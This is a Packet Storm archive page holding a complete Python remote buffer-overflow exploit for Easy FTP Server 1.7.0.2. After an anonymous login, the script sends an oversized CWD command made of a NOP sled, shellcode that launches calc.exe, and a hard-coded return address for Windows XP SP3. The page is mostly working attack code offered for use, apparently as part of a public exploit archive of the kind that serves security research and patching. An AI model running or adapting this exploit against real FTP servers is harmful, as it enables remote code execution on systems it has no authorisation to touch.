exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Easy FTP Server 1.7.0.2 Buffer Overflow

Easy FTP Server 1.7.0.2 Buffer Overflow
Posted Feb 23, 2010
Authored by athleet

Easy FTP Server version 1.7.0.2 remote buffer overflow exploit.

tags | exploit, remote, overflow
SHA-256 | 606a0e53d73e41e3179f9b19a3df894919b9fa12dec32e997546c5dfe0b8102c

Easy FTP Server 1.7.0.2 Buffer Overflow

Change Mirror Download


# Exploit Title: Easy FTP Server 1.7.0.2 Remote BoF
# Date: 20/02/2010
# Author: athleet
# Software Link: http://cdnetworks-us-2.dl.sourceforge.net/project/easyftpsvr/easyftpsvr/1.7.0.2-en/easyftpsvr-1.7.0.2.zip
# Version: 1.7.0.2
# Tested on: XP SP3 (Eng)
# CVE : None
# Code : Below
#
#!/usr/bin/python
import socket, sys

print """
*************************************************
* Easy FTP Server 1.7.0.2 Remote BoF *
* Discovered by: athleet *
* jonbutler88[at]googlemail[dot]com *
*************************************************
"""

if len(sys.argv) != 3:
print "Usage: ./easyftp.py <Target IP> <Port>"
sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])

# Calc.exe PoC shellcode - Tested on XP Pro SP3 (Eng)
#
# B *0X009AFE44
#
shellcode = (
"\xba\x20\xf0\xfd\x7f" # MOV EDX,7FFDF020
"\xc7\x02\x4c\xaa\xf8\x77" # MOV DWORD PTR DS:[EDX],77F8AA4C
"\x33\xC0" # XOR EAX,EAX
"\x50" # PUSH EAX
"\x68\x63\x61\x6C\x63" # PUSH 636C6163
"\x54" # PUSH ESP
"\x5B" # POP EBX
"\x50" # PUSH EAX
"\x53" # PUSH EBX
"\xB9\xC7\x93\xC2\x77" # MOV ECX,77C293C7
"\xFF\xD1" # CALL ECX
"\xEB\xF7" # JMP SHORT 009AFE5B
)

nopsled = "\x90" * (268 - len(shellcode))

ret = "\x58\xFD\x9A\x00"

payload = nopsled + shellcode + ret # 272 bytes

print "[+] Launching exploit against " + target + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect=s.connect((target, port))
print "[+] Connected!"
except:
print "[!] Connection failed!"
sys.exit(0)
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
# Send payload...
print "[+] Sending payload..."
s.send('CWD ' + payload + '\r\n')
try:
s.recv(1024)
print "[!] Exploit failed..."
except:
print "[+] Exploited ^_^"

Login or Register to add favorites

File Archive:

May 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    16 Files
  • 3
    May 3rd
    38 Files
  • 4
    May 4th
    15 Files
  • 5
    May 5th
    35 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    8 Files
  • 9
    May 9th
    65 Files
  • 10
    May 10th
    19 Files
  • 11
    May 11th
    27 Files
  • 12
    May 12th
    8 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    1 Files
  • 15
    May 15th
    19 Files
  • 16
    May 16th
    66 Files
  • 17
    May 17th
    28 Files
  • 18
    May 18th
    32 Files
  • 19
    May 19th
    13 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    23 Files
  • 23
    May 23rd
    15 Files
  • 24
    May 24th
    49 Files
  • 25
    May 25th
    20 Files
  • 26
    May 26th
    13 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close